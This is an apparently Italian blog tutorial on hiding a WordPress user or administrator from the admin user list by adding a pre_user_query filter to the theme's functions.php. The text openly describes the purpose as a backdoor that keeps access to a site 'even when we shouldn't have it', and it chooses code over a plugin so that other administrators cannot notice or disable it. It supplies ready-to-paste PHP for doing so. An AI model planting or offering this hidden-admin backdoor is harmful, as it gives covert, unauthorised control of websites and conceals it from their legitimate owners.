Nascondere un utente o amministratore dala lista utenti in WordPress

Nascondere un utente o amministratore dala lista utenti in WordPress

Può capitare che l’amministratore di un sito WordPress abbia l’esigenza di nascondere un determinato utente dalla lista utenti di WP. Un utente che sia quindi normalmente riconosciuto dal sistema ma non visibile a tutti gli altri utenti.

La natura stessa dell’esigenza , in genere dovrebbe escludere l’utilizzo di un plugin che pure esiste… perchè ?!?

Perchè nascondere un utente ( anche o soprattutto amministratore ) dalla lista utenti di WordPress ?

In genere l’utilizzo di un utente nascosto presuppone la volonta di poter effettuare un accesso alla console in modo ” nascosto ” e soprattutto in una modalità che difficilmente possa essere disablitata da altri anche se amministratori.

In sostanza una vera e propria BackDoor che ci lasci l’accesso al sito anche quando…non dovremmo averlo !

Proprio per la natura ” border line ” di questa esigenza in genere un plugin non risolve completamente il nostro problema : il plugin è chiaramente visibile e quindi disattivabile o modificabile.

Come nascondere un utente ( anche o soprattutto amministratore ) dalla lista utenti di WordPress ?

Non ci resta che una modifica diretta al codice , modifica che, fortuna per noi, è di facilissima realizzazione.

Si tratta di un piccolo intervento al file funtion.php utilizzato dal nostro tema.

La modifica è la seguente :

  • Apriamo l’editor del tema e scegliamo di modificare function.php
  • Subito dopo l’apertura <?php inseriamo il codice seguente :
    remove_action('welcome_panel', 'wp_welcome_panel');

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
    "WHERE 1=1 AND {$wpdb->users}.user_login != 'UtenteDaNascondere'",$user_search->query_where);

    }

  • Ovviamente dovrete cambiare UtenteDaNascondere con il nome utente che desiderate far scomparire dalla lista utenti

Da questo momento l’utente sarà attivo sulla console di WordPress ma non più visibile nella lista utenti.

Dovrete ricordarvi di aggiornare il file Function.php quando e se effettuerete un aggiornamento al tema in uso sul vostro sito WP, aggiornamento che potrebbe ripristinare la versione originale di function.php

per dubbi o suggerimenti...ci scriviamo nei commenti!!!Nascondere un utente o amministratore dala lista utenti in WordPress

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Available for Amazon Prime